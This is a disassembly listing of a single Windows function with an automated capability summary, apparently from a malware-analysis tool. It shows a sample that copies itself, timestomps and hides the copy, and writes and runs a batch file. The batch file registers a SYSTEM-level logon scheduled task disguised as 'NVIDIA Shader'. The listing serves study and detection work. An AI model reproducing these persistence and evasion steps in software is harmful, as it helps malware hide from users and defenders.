Function at 0x401ae0
Capabilities:
Copy file
Create process on windows
Delete file
Extract resource via kernel32 functions
Query environment variable
Schedule task via schtasks
Set file attributes
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00409890
add esp, 0xc
push 1
push 0x4117c0
push 0x411458
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401e47
push 0x80
push 0x4117c0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4117c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x29a
mov esi, eax
push 0x29a
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x401b6c
push 0x18
push 1
push esi
call ebx
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
push 0x4117c0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push edi
push esi
mov dword [0x411430], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [0x411430]
push eax
push ebx
push 0
push 1
push 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [0x411430]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push 0
push 0x80
push 3
push 0
push 1
push 0x100
push 0x4117c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x394], esi
cmp esi, 0xffffffff
je 0x401e3a
lea eax, [ebp - 0x388]
push eax
lea ecx, [ebp - 0x390]
push ecx
lea edx, [ebp - 0x380]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x401e33
push 0
call fcn.00404980
push eax
call fcn.0040494d
add esp, 8
call fcn.0040495f
cdq
mov ecx, 0x12c
idiv ecx
mov ecx, dword [ebp - 0x37c]
xor eax, eax
xor edi, edi
add eax, dword [ebp - 0x380]
adc ecx, edi
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
lea esi, [edx + 0x3c]
mov dword [ebp - 0x36c], esi
call fcn.0040495f
cdq
mov ecx, 0x18
idiv ecx
mov eax, edx
cdq
mov ecx, eax
mov eax, esi
mov edi, edx
cdq
mov ebx, edx
shld edx, eax, 1
mov esi, eax
add eax, eax
add esi, eax
adc ebx, edx
shld ebx, esi, 3
add esi, esi
add esi, esi
add esi, esi
add ecx, esi
adc edi, ebx
mov eax, edi
mov edx, ecx
shld eax, edx, 4
shl edx, 4
mov esi, edx
sub esi, ecx
mov edx, eax
sbb edx, edi
mov edi, edx
shld edi, esi, 2
add esi, esi
add esi, esi
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
mov eax, edx
cdq
add eax, esi
adc edx, edi
mov ecx, eax
mov edi, edx
shld edi, ecx, 4
shl ecx, 4
sub ecx, eax
sbb edi, edx
mov esi, ecx
shld edi, esi, 2
add esi, esi
add esi, esi
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
push 0
push 0x989680
mov eax, edx
cdq
add eax, esi
adc edx, edi
push edx
push eax
call fcn.0040b910
mov ecx, dword [ebp - 0x378]
mov edi, dword [ebp - 0x384]
sub ecx, eax
mov eax, dword [ebp - 0x374]
sbb eax, edx
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x38c], eax
xor eax, eax
xor esi, esi
add esi, dword [ebp - 0x388]
mov dword [ebp - 0x380], ecx
mov dword [ebp - 0x390], ecx
adc edi, eax
call fcn.0040495f
cdq
mov ecx, 0x3b
idiv ecx
mov eax, dword [ebp - 0x36c]
sub eax, edx
cdq
mov ecx, eax
mov ebx, edx
shld edx, eax, 1
add eax, eax
add ecx, eax
adc ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 3
add ebx, ebx
add ebx, ebx
mov dword [ebp - 0x374], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x18
idiv ecx
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x374]
mov ecx, eax
mov ebx, edx
shld ebx, ecx, 4
shl ecx, 4
sub ecx, eax
sbb ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 2
add ebx, ebx
mov dword [ebp - 0x374], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x374]
mov ecx, eax
mov ebx, edx
shld ebx, ecx, 4
shl ecx, 4
sub ecx, eax
sbb ebx, edx
mov eax, ebx
mov ebx, ecx
shld eax, ebx, 2
add ebx, ebx
mov dword [ebp - 0x374], eax
add ebx, ebx
call fcn.0040495f
cdq
mov ecx, 0x3c
idiv ecx
push 0
push 0x989680
mov eax, edx
cdq
add eax, ebx
adc edx, dword [ebp - 0x374]
push edx
push eax
call fcn.0040b910
sub esi, eax
sbb edi, edx
lea edx, [ebp - 0x388]
push edx
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x388], esi
mov esi, dword [ebp - 0x394]
push ecx
push esi
mov dword [ebp - 0x384], edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
push 0x4117c0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x105
lea edx, [ebp - 0x110]
push edx
push str._WINDIR__sh
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401ea2
push 0x4117c0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047ad
mov esp, ebp
pop ebp
ret
mov ecx, 0x16
mov esi, str.Schtasks__Create__RU__NT_AUTHORITYSYSTEM___TN__NVIDIA_Shader___RL_Highest__V1__F__TR__
lea edi, [ebp - 0x368]
push 0x200
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x310]
push 0
push ecx
call fcn.00409890
push 0x4117c0
lea edx, [ebp - 0x368]
push 0x258
push edx
call fcn.00405b21
push str.___SC_ONLOGON
lea eax, [ebp - 0x368]
push 0x258
push eax
call fcn.00405b21
add esp, 0x24
push 0
lea ecx, [ebp - 0x398]
push ecx
push 0x257
lea edx, [ebp - 0x368]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401f3f
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x110]
push eax
call esi
push 0x4117c0
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047ad
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004047ad
mov esp, ebp
pop ebp
ret